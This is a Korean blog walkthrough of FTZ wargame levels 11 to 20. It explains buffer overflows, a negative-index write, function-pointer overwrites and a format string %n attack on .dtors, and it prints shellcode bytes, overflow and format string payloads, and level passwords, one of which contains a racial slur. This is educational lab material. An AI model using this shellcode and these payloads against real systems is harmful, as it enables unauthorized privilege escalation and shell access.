드디어 마지막 문제 Level20입니다.

우선 힌트를 확인하도록 하겠습니다.


 

… gets에서 79글자만 입력 받아오네요. BOF로는 어려울듯 합니다.

하지만 그래도 아직 취약한 코드는 남아 있습니다.

바로 printf(bleh);입니다.

이 코드는 Format String Bug를 갖고 있습니다.

 

우선 간단하게 Format String Bug에 대해서 설명 드리겠습니다.

일반적으로 printf는 다음과 같이 사용합니다.

Char buf[] = “Hello World”;

Printf(“%s\n”, buf);

매우 일반적인 사용법이죠.

그런데 printf(“%s\n”, buf); 대신에 printf(buf); 이렇게 사용해도 똑같이 문자열이 출력 됩니다.

그래서 편의성을 위해서 printf(buf);와 같은 코드를 사용하는 사람들도 상당히 많죠.

근데 여기서 생각해 보아야 할 것이 있습니다.

만약, 버퍼에 일반적인 문자열이 아니고 형식지정자를 넣으면 어떻게 될까요?

그럼 printf(“%s %d”); 이런 코드가 되지 않을까요?

한번 확인해 보도록 하겠습니다.

 

일반적으로 buf에 문자열을 입력한 경우입니다.

정상적으로 문자열이 출력 되었네요.

 

그럼 이번엔 형식 지정자를 입력해 보도록 하겠습니다.

뜬금 없이 4f가 나왔네요. 4f79이므로 fgets에서 사용하기위해 스택에 push한 값이 남아 있는게 아닌가 싶습니다.

형식 지정자를 여러게 넣어보도록 하겠습니다.

.. 여러 값들이 나오네요..

아직은 잘 모르겠습니다. 이번엔 일반 문자 뒤에 형식 지정자를 이어서 넣어보도록 하겠습니다.

이번에도 여러 값들이 나왔는데 익숙한 41414141이 보입니다. 이는 우리가 입력해준 AAAA의 아스키 코드 값이죠.

이를 통해서 형식 지정자를 입력해주면 stack의 값들을 확인할 수 있음을 알 수 있습니다.

 

여기서 잠시 printf를 호출할때 스택의 상황을 한번 생각해보도록 하겠습니다.

Printf(“%s %d”, buf, x);의 경우 스택은 다음과 같이 될것입니다.

Buf : Hello World

X : 40

………

&x

&buf

……….

어셈블리어 언어로 생각하면 x의 주소를 push하고 buf의 주소를 push 하고 printf함수를 호출하겠죠.

그렇게 되면 %s 형식 지시자는 &buf의 내용을 해석해서 값을 읽어오고, %d&x의 내용을 해석해서 값을 읽어 옵니다.

 

AAAA %x %x %x %x라고 값을 입력하면 스택 구조는 다음과 같이 되겠죠.

%x

%x

%x

%x

Buf : AAAA

0x4207a750

0x4212ecc0

0x4f

&buf

 

Printf(buf)했으니 바로 buf의 내용을 가져오게 됩니다.

내용은 AAAA %x %x %x %x이구요. 따라서 AAAA를 출력한 뒤 %x를 만나 그 다음 스택의 정보들을 출력하게 되는겁니다. %x4개니 전체 출력 결과는 AAAA 4f 4212ecc0 4207a750 41414141이 되는거구요. 만약 %x4개 입력 입력하면 그 위 “ %x “에 해당하는 아스키 값까지 출력하게 될것입니다. 그 값은 20782520이구요.

이것이 바로 Format String Bug입니다.

 

그런데 형식 지정자로 값을 읽어 오는것은 좋은데, 값을 입력하지 못하면 메모리 변조를 할수가 없으니 이대로는 무용지물입니다.

하지만 형식지정자 중에 유일하게 값을 입력하는 형식지정자가 있습니다. 바로 %n입니다. %n은 바로 이전에 출력한 값의 크기를 해당 변수에 저장하는 기능을 합니다.

코드에서 보면 알수 있다시피 1234를 출력하였을 경우에 %n을 통해 n에 출력 크기 4byte가 입력 되었음을 알 수 있습니다.

 

이를 이용해 원하는 위치에 원하는 값을 입력 할 수 있겠네요.

 

그럼 한번 원하는 주소에 %n을 이용해 값을 입력할 수 있도록 스택을 짜보겠습니다.

%n

%c

%n

%c

0xbffff2bc

AAAA

0xbfff2ba

AAAA

 

이러한 스택을 생각해 보겠습니다.

AAAA\xba\xf2\xff\xbfAAAA\xbffff2bc%c%n%c%n이라고 입력하면 이렇게 스택이 구성됩니다.

그럼 우선 AAAA\xba\xf2\xff\xbfAAAA\xbffff2bc가 출력이 되곘죠.

그리고 %c를 만나서 AAAA가 들어있는 스택에 대하여 진행하고, 그리고 %n을 만나게 됩니다. AAAA위에 있는 스택은 0xbffff2ba이죠. 따라서 메모리 0xbffff2ba번지에 %n을 통해 현재까지 출력한 크기를 입력하게 됩니다.

AAAA\xba\xf2\xff\xbfAAAA\xbffff2bc이므로 16byte0xbffff2ba에 입력되게 됩니다. 그다음에 만나는 값은 %c이므로 AAAA를 건너뛰고 다시 %n을 만나 그다음 스택인 0xbffff2bc주소에 16을 입력하게 됩니다.

 

그러나 우리가 입력해야 할 주소값은 굉장히 큰 숫자입니다. 그 많은 문자를 직접 입력하기에는 메모리 용량도 그렇고, 힘도 들기 때문에 형식 지정자의 편리함을 이용하면 됩니다.

만약 형식지정자를 %100d라고 입력하면 공백이 100개 입력이 됩니다. 즉 이를 이용하면 쉽게 원하는 만큼의 입력이 가능합니다.

 

이러한 방식으로 원하는 주소에 원하는 값을 입력해주면 됩니다.

 

그럼 우선 쉘코드를 등록하고, 주소를 얻어오도록 하겠습니다.

쉘코드를 등록하였고 주소는 0xbffffc6e입니다.

 

쉘코드를 얻어왔으니 이제 ret의 주소값을 얻어올 차례입니다. 

그러나 gdb로 확인했더니 main symbol을 찾을 수 없다고 나옵니다.

 

이때 사용할 수 있는 것이 .dtors영역이라는 것입니다.

간단하게 설명하면 gcc는 컴파일 할때 .ctors.dtors 두 세그먼트를 생성합니다.

 

두 영역의 특징은

.ctros 속성의 함수는 main()전에 실행되고

.dtros 속성의 함수는 main()종료 후에 실행 된다는 것입니다.

그러므로 .dtros 세그먼트에 쉘코드의 주소를 넣어주면 main()이 종료된 뒤에 실행이 될것입니다.

 

그럼 .dtors의 주소를 알아내도록 하겠습니다.

.dtors 세그먼트의 주소는 0x08049594이네요. 이 주소에 4byte를 더한 0x08049598에 쉘코드의 주소를 등록해 주면 됩니다.

 

그러면 필요한 정보는 다 구해졌습니다.

쉘코드의 주소는 0xbffffc6e이고 저장이 되는 대상 메모리의 주소는 0x08049598입니다.

 

AAAA\x98\x95\x04\x08%3221224558c%n이렇게 입력해 주면 될 것 같습니다.

하지만 몇가지 더 보완을 해주어야 합니다.

그림과 같이 AAAA가 들어있는 메모리에 접근하기 까지 형식지정자를 4개를 사용했습니다. 따라서 AAAA를 받아오는 형식지정자 %c앞에 다른 형식지정자를 3개 추가해 주어야 합니다.

 

추가된 입력은 다음과 같습니다.

AAAA\x98\x95\x04\x08%x%x%x%3221224558c%n

그러나 여기서 문제가 하나 더 발생합니다. X86 pc 에서는 3221224558과 같은 큰 수를 입력 할 수 없습니다. 따라서 0xBFFFFC6E를 반씩 나눠서 입력해야 합니다.

0x08049598에는 0xFC6E2바이트 증가한 0x0804959A에는 0xBFFF을 입력해 주면 됩니다.

 

이를 반영한 입력은 다음과 같습니다.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%x%x%x%64622c%n%49151c%n

그러나 아직 문제가 하나더 남았습니다. %n%n이전까지의 입력 용량을 저장한다고 했습니다.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%x%x%x%64622c%n에서 %n까지의 입력 용량은 4+4+4+4+?+?+?+64622입니다.

우선 %x는 메모리에 어떤 값이 있느냐에 따라서 출력 결과가 다르기 때문에 8byte로 통일해주어야 합니다. %x대신에 %8x를 쓰면 균일하게 8byte가 출력됩니다.

그럼 입력되는 값이 4+4+4+4+8+8+8+64622이므로 64622에 맞추기 위해서는 64622에서 40만큼 빼주어야 합니다.

 

따라서 입력은 다음과 같이 변경 됩니다.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64582c%n%49151c%n

마찬가지로 뒤에 49151도 변경해 주어야 합니다. 그 이전까지 출력된 양이 64622이므로 49151에서 64622를 빼어 주어야 하는데 음수가 발생합니다. 따라서 0x1BFFF에서 0xFC6E를 뺀 값인 50065를 넣어주면 됩니다.

 

이렇게 최종적으로 변경된 입력은 다음과 같습니다.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64582c%n%50065c%n

 

입력값을 넣어 보도록 하겠습니다.

다행이도 쉘이 떴습니다.

계정명이 clear네요.


패스워드는 i will come in a minute입니다.

 

이렇게 모든 ftz 문제를 다 풀었네요.

작년 1223일쯤 시작했으니거의 1년 넘게 걸렸네요. 도중에 반년 정도 쉰적도 있고.. 레벨 11부터 20까지 푸는데에는 10일 정도 걸렸네요.

 

이제 FTZ는 끝났으니 다른 문제로 돌아오겠습니다.

 

수고 많으셨습니다.

이제 F.T.Z.도 거의 막바지네요.

Level19hint를 한번 보도록 하겠습니다.

살짝 당황스럽네요매우 짧은 코드가 나왔습니다.

BOF버그가 있는 gets함수를 이용해서 어떻게 하라는거 같은데 이전의 코드와는 달리 setreuidsystem(“/bin/bash”)가 보이지 않습니다.

즉 이부분이 필요할테니.. level20setreuid가 설정 되어 있는 쉘코드를 작성해야겠네요.

이번 문제는 이러한 쉘코드를 작성할 수 있느냐가 핵심입니다.

 

우선 level20의 계정 정보를 확인해 보도록 하겠습니다.

level20의 계정 번호는 3100이네요.

 

다음과 같은 코드를 쉘코드로 만들어야 합니다.

쉘코드를 만드는 방법은 Level11에 첨부해놓은 pdf를 보시면 알 수 있습니다.

 

간단하게 설명해 드리자면, 위의 코드를 static으로 컴파일한후 gccexecvesetreuid의 어셈블리어를 확인해 핵심만 추출하면 다음과 같이 됩니다.

이제 이 코드를 컴파일 해서 objdump로 어셈블리 명령어를 추출하면 다음과 같이 나옵니다.

여기서 필요한 부분은 0x08048304부터 0x084832d입니다. 이부분의 기계어만 추출하면 다음과 같은 쉘코드를 얻을 수 있습니다.

 

"\x31\xd2\x66\xb8\x1c\x0c\x66\xb9\x1c\x0c\x89\xc3\x89\xd0\xb0\x46\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xd2\x89\xd0\xb0\x0b\xcd\x80"

 

이제 이 쉘코드를 에그쉘에 올리고 그 주소를 ./attackmeret에 덮어 씌우면 됩니다.

에그쉘과 에그쉘의 주소를 얻는 파일은 아래에 있습니다.

(출처 : http://pwnbit.kr/7)

EGG Shell.c

getegg.c

egshell을 통해 등록한 쉘코드의 주소는 0xbffff2bc네요.

 

Gdbattackme를 확인해 보도록 하겠습니다.

확인한 결과 덮어 씌워야 할 ret의 위치는 입력 포인터로부터 44만큼 떨어져 있네요.

 

44만큼 채우고 쉘코드의 주소를 넣으면 될듯 합니다.

다행히도 생각한 대로 Level20의 쉘이 획득 되었습니다.


Level20의 패스워드는 we are just regular guys입니다.


작성하고 나서 보니 폴더 경로에 좋지 않은 문자가 들어가 있네요.... 쉘코드 만들다가 빡쳐서 그만... 죄송합니다. ㅎㅎ;

Level18로 접속하고 늘 그렇듯이 hint를 확인해봅니다.

힌트 코드가 굉장히 길어졌네요.

우선 코드에 대한 설명부터 하겠습니다.

 

코드 내에 있는 낯설은 함수들의 설명은 다음과 같습니다.

FD_ZERO(fd_set *fdset) : *fdset의 모든 비트를 지운다.

FD_SET(int fd, fd_set *fdset) : *fdset 중 첫번째 인자 fd에 해당하는 비트를 1로 한다.

FD_CLR(int fd, fd_set *fdset) : *fdset 중 첫번째 인자 fd에 해당하는 비트를 0으로 한다.

FD_ISSET(int fd, fd_set *fdset) : *fdset 중 첫번째 인자 fd에 해당하는 비트가 세트되어 있으면 양수값인 fd를 리턴한다.

 

select()FD_SET으로 설정된 fd만을 확인한다. 그리고 확인 결과 read또는 write준비가 된 fdfdset내에서 세트시킨다. 따라서 select() 함수 직후에 FD_ISSET으로 특정 fd‘SET’되었는지 확인할 수 있다. 데이터가 변경된 파일의 개수 즉 fd_set에서 비트값이 1인 필드의 개수를 반환

(출처 : http://jsnim.blogspot.kr/2010/02/select-fdzero-fdset-fdclr-fdisset.html)

 

터미널에서 man select라고 입력하시거나, 구글에 select 함수에 대해서 검색하시면 관련 정보를 얻으실 수 있습니다.

 

코드의 내용을 간단하게 말하면 표준 입력으로부터 한글자씩 입력을 받아 string[count]에 넣는 코드 입니다.

입력이 ‘\r, \n’이면 에러음을 내구요.

입력이 ‘\b’이면 입력값을 지우기 위해서 count1감소합니다.

 

코드의 조건을 다음과 같이 정리할 수 있습니다.

1.    입력은 100자 이내

2.    check0xdeadbeef여야함 : clear

3.    사용자로부터 표준입력을 받음

 

gdb를 통해 어셈을 따라가다 보면 알수 있는 스택구조는 다음과 같습니다.

어셈코드가 상당히 길기때문에 첨부하진 않겠습니다.

string(100byte)

check(4byte)

x(4byte)

count(4byte)

fds

이 문제를 해결하기 위한 핵심은 count--string[count] = x입니다.

코드에서 보다시피 ‘\b’를 입력받으면 내용을 지우기 위해 count1감소시키게 됩니다.

그러나 코드 어디에서도 count가 음수일때를 체크하는 내용은 볼 수 없습니다.

즉 우리는 check에 값을 넣어야 하는데 count가 음수가 되면 string[count]로 인해 스택상 string밑에 있는 check에 값을 입력 할 수 있게 되는 것이죠.

 

이로인해 우리가 필요한 정보는 전부 획득했습니다.

‘\b’4번 입력하고 0xdeadbeef를 입력하면 문제를 해결 할수 있을 것으로 보입니다.

획득한 정보에 맞춰 커맨드를 입력했더니 예상이 맞았네요. Level19권한의 쉘을 획득하였습니다.

 

Level19의 패스워드는 swimming in pink입니다.

 

이번 문제는 낯설은 함수가 많아 전부다 분석하는데 시간이 걸렸을 뿐이지 취약한 원인이 되는 코드는 상당히 간단했네요.

Level17로 접속하여 hint를 확인해 줍니다.


Level16의 코드와 비슷한데 shell 함수가 없네요.

그렇다면 쉘을 띄워주는 함수를 어딘가에 넣어주고, call 변수에 쉘을 띄워주는 함수의 주소값을 넣어주면 될 것 같습니다.

코드 구조가 비슷하니 call 변수에 쉘을 띄워주는 함수의 주소값을 넣어주는 것은 Level16과 동일한 방법을 사용하면 될 듯 하구요.

쉘을 띄워주는 함수는 Level11에서 환경변수에 Shell 코드를 삽입했던 것을 떠올리면 될 듯 합니다.


그럼 우선 환경변수에 shell을 넣도록 하겠습니다.


정상적으로 환경변수에 쉘 코드가 등록이 되었네요.


그럼 환경변수에 등록된 쉘코드의 시작 주소를 가져오도록 하겠습니다.


0xbffffc8a에 등록이 되어 있군요. 이제 call 포인터 변수에 0xbffffc8a를 넣어주면 됩니다.

어렵지 않게 Level18의 쉘이 획득 되었습니다.

 


Level18의 패스워드는 why did you do it 이네요.

Level16로 접속해서 항상 그렇듯이 파일 목록과 hint를 확인해 보도록 하겠습니다.

 

가볍게 코드에 대해서 짚고 넘어가면,

Level17의 권한으로 쉘을 띄워주는 shell()함수가 선언 되어 있고, “Hello there!”라는 문장을 출력해주는 printit()함수가 있네요.

main에서는 *call이라는 포인터 변수에 printit의 주소값을 넣어 주었구요.

이로 인하여 call()하였을 때 printit함수가 호출되게 됩니다.

쉘을 띄우려면 shell() 함수를 호출해야하니 call 포인터 변수에 shell()의 주소값을 넣어 주면 될 것 같습니다.


우선 gdb로 어셈블리어를 확인해 보도록 하겠습니다.

shell함수와 printit함수는 다음과 같구요.


 

Main은 다음과 같습니다.

<main+6>을 보면 ebp-160x8048500을 넣는 것을 확인 할 수 있는데요. 위에서 알 수 있듯이 0x8048500printit 함수의 시작지점입니다.

우리가 원하는 건 shell함수이니 ebp-16shell함수의 시작 주소 0x080484d0을 넣어주면 됩니다.

Fgets 함수는 ebp-56지점부터 입력을 하니 ebp-16에 원하는 값을 넣기 위해서는 40byte를 채우고 0x080484d0을 넣어주면 될 듯 하네요.


예상대로 값을 입력하도록 하겠습니다.


맞았네요. 정상적으로 level17의 쉘이 획득 되었습니다.

Level17의 패스워드는 king poetic입니다.

맥에서만 하다가 오늘은 윈도우에서 하네요. ㅎㅎ


Level15로 접속하고 hint를 확인해 보겠습니다.

Level14의 힌트와 굉장히 유사합니다.

참고로 Level14의 힌트는 다음과 같습니다.

Level15에서는 Level14에 비해서 check변수가 포인터 변수로 변경 되었다는 점만 다르네요.

따라서 Level14에서는 check에 직접 0xdeadbeef를 넣어 주었지만, Level15에서는 check0xdeadbeef가 들어있는 메모리의 주소값을 넣어 주어야 합니다.

 

코드에 deadbeef가 있으니 따로 입력은 하지 않고 저 값이 있는 주소를 얻어오면 될 듯 합니다.

Gdb로 열어서 값을 확인해 보도록 하겠습니다.

x/10x mainmain으로부터 40byte 만큼의 메모리 내용을 16진수로 보여달라는 명령어 입니다.

확인해보니 0x080484b20xdeadbeef가 있네요.

 

스택에서 *check의 위치를 알기 위하여 어셈블리어를 확인해 보겠습니다.

Level14와 스택구조가 똑같음을 알 수 있습니다.

그럼 40byte를 채워주고 그 다음 4byte*check이니깐 이 부분에 0x080484b2를 넣어주면 되겠네요.

빙고~ Level16 쉘이 획득 되었습니다.



Level16의 암호는 about to cause mass 입니다.



 

Level14로 로그인하고 hint를 확인해 줍시다.

fgest를 통해 사용자로부터 입력을 45개 만큼 받아오고, check부분이 0xdeadbeef라면 조건을 통과해 level15권한의 쉘을 띄워주는 코드네요.

 

어셈블리어 코드를 한번 확인해 봅시다.

56byte 만큼의 스택을 잡고, 4byte를 추가로 잡아주네요.

Fgest를 통해 받아온 입력값은 ebp-56에 저장이 되구요.

Ebp-16deadbeef라면 조건을 통과하네요.

필요한 정보는 다 획득한 듯 싶습니다.

스택을 그려보면 다음과 같이 됩니다.

dummy (4byte)

crap (4byte)

dummy (4byte)

check (4byte)

dummy (20byte)

buf (20byte)

Buf에 값을 입력해서 40byte를 채우고 check0xdeadbeef를 입력하면 끝나네요.

Fgest도 딱 맞춰서 45자를 입력받고 있습니다. 44가 아니고 45인것은 뒤에 개행문자 1byte가 포함 되기 때문입니다.

 

40개의 A0xdeadbeef를 넣어주도록 하겠습니다.

어렵지 않게 level15의 쉘을 획득할 수 있었네요.


level15의 암호는 guess what입니다.

Level13으로 접속해서 우선 hint를 열어봅니다.

attackme의 코드이겠구요.

취약한 함수 strcpy를 사용하고 있음을 알 수 있으며, 아마 저부분을 이용해서 공격을 해야겠죠.

 

그런데 i에 있는 0x1234567값이 변조가 된다면 프로그램은 i를 통해 스택의 데이터가 변조 되었음을 감지하고 Warnning: Buffer Overflow !!!라는 문장을 출력하고 프로그램이 종료 될듯 합니다.

 

i의 값을 변조 하지 않고 ret값을 바꾸는것이 핵심이겠네요.

어셈블리로 코드를 확인해 보니 <main+3>에서 1048만큼의 공간을 확보하고 있습니다.

그후 movl $0x1234567, 0xfffffff4(%ebp)를 통하여 ebp-12지점에 0x1234567을 입력 하네요.

<main+9>까지 진행 된다음 스택 구조는 다음과 같이 됩니다.

ret(4byte)

ebp(4byte)

dummy(8byte)

0x1234567(4byte)

dummy(12byte)

buf[1024](1024byte)

 

Python –c ‘print “A”*1036+”\x67\x45\x23\x01”+”A”*12+[쉘코드주소] 이렇게 넣어주면 아마 문제 없이 돌아갈듯 합니다.

 

그럼 이제 환경변수에 쉘 코드를 등록하고 쉘 코드의 주소를 얻어오면 되겠습니다.

이제 i를 바꾸지 않고 ret를 덮어주면 됩니다.

문제 없이 level14계정의 쉘이 획득 되었습니다.


level14의 패스워드는 what that nigga want?이네요.

Level12에 접속하고 파일목록을 확인해 보니 level11과 별 차이가 없군요.

attackme 파일을 공격해서 권한을 획득하라는 것 같습니다.

hint를 확인해 봅시다.

attackme의 코드인듯 하고, 취약한 코드로 보이는 gets( str );가 보이네요.

gets는 사용자의 입력을 \0을 만날때까지 받으라는 함수입니다. 몇자를 입력받는지 제한이 없으므로 이 함수로 인하여 BOF가 발생합니다.

 

strcpy대신에 gets함수가 사용된 것을 제외하고는 level11과 완전 동일합니다.

 

풀이법 또한 level11과 똑같은 방식으로 스택의 ret를 쉘코드가 있는 메모리의 주소로 바꿔주면 됩니다.

메모리에 str의 영역이 0x108로 잡혀있으니, “A”*268+[쉘코드]주소를 입력해 주면 되겠네요.

 

다만 프로그램이 실행되고 사용자 입력 대기때 값을 넣어주어야 하니 파이프를 사용해야 합니다.

 

우선 환경변수에 쉘코드를 등록해주도록 하겠습니다.

이제 쉘코드의 주소를 가져오구요.

level11과 여기까지는 동일합니다. 이제 파이프를 통해 입력값을 전달하여 ret를 덮어 주면 됩니다.

level13의 쉘이 떴네요. 


패스워드는 have no clue입니다.


Level11과 공격 방법이 동일하여 쉽게 풀 수 있는 문제였네요.

수고하셨습니다.


여담이지만 투명색의 터미널창이 편집을 하면 검은색으로 바뀌는건 안이쁘네여;;

이번 문제풀이에는 shell코드, NOP 등 추가적으로 필요한 개념이 들어갑니다. 그 모든 내용을 여기서 설명하기에는 내용이 길어질 뿐더러 앞서 잘 정리되어 있는 자료가 있으니 그것을 먼저 보는것을 추천해 드립니다. 자료를 잘 정리해주신 달고나님 항상 감사합니다.

buffer_overflow_foundation_pub.pdf

 

Level 11에 들어가서 파일 목록을 확인하면 다음과 같이 나옵니다.

hint가 보이고 attackme라는 실행파일이 보이네요.

 

hint의 내용은 다음과 같습니다.

느낌이 attackme의 코드인 듯 합니다.

 

attackme는 권한을 상승시키고 실행시 매개변수를 str에 복사하고 출력해주는 프로그램입니다.

$./attackme test라고 입력했더니 test를 출력해주네요.

 

최신 ide에서는 strcpy 대신 strncpy를 사용하길 권장합니다. strcpy는 복사할 문자열의 길이를 명시해 줄 수 없기 때문입니다. 즉 입력값의 길이가 256이 넘어가게 된다면 스택의 str[256]영역을 넘어 다른 영역까지 침범하게 됩니다.

 

gdbattackme를 확인해 보겠습니다.

<main+3>를 통해 char str[256]의 공간을 스택에 마련했습니다. 256에 대항하는 0x100공간에 dummy0x8만큼 더 할당해 주었네요.

<main+3>까지 실행이 되면 스택은 다음과 같이 되어 있을것입니다.


ret(4byte)

ebp(4byte)

dummy(8byte)

str(256byte)


Strcpy함수를 사용하여 스택을 채우기 때문에 str의 영역을 넘어 ret영역까지 건드릴 수 있습니다.

아무 값 268(256+8+4)과 추가로 4byte를 넣어 주면 우리가 ret에 원하는 값을 덮어 씌울 수 있습니다.

$./attackme `python –c ‘printf “A”*268 + “\x2c\x5a\xff\2f”’` 라고 실행하면 스택에 다음과 같이 들어갈 것입니다.


ret : 0x2fff5a2c

ebp : AAAA

dummy : AAAAAAAA

str[256] : AAAA…..AAAA


그럼 프로그램이 끝날때 eip0x2fff5a2c로 바뀌고 0x2fff5a2c번지에 있는 코드를 실행하게 되겠죠.

 

Eip를 변조하는 것은 되었으니, 이제 실행할 코드를 삽입하고 그 위치를 구해야 합니다.

사실 스택에는 윗부분이 더 있습니다. 그부분은 다음과 같이 구성되어 있습니다.


env

argv

argc(4byte)

ret(4byte)

ebp(4byte)

dummy(8byte)

str(256byte)


여기서 핵심은 제일 위인 env, 즉 환경변수 부분입니다. 이 부분에 우리가 원하는 어셈블리어 코드를 삽입해주고, ret를 코드가 들어있는 부분의 주소로 설정해 주면 됩니다.

 

삽입할 코드는 쉘을 띄우기 위한 쉘코드 입니다.

 

\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

 

환경 변수에 쉘코드를 등록하면 스택의 환경변수 영역에 자동으로 올라갑니다.

환경변수에 쉘코드를 등록하고 확인까지 하였습니다.

이제 이 쉘코드가 들어있는 주소를 획득하여 attackme스택의 ret부분에 넣어주면 됩니다.

쉘코드의 주소는 다음과정을 통해 얻을 수 있습니다.

이제 얻은 쉘코드의 주소를 ret에 덮어 주기만 하면 됩니다.

획득한 쉘코드의 주소로 ret를 덮어 주었더니 정상적으로 쉘이 떴고, 사용자 또한 level12가 맞습니다.



level 12의 패스워드는 it is like this네요.

BOF를 이용하여 푸는 방법 이외에 Format String Bug를 이용한 풀이 방법도 있으니 그것도 한번 찾아보셔서 시도해도 좋을 것 같습니다.

수고하셨습니다.


+ Recent posts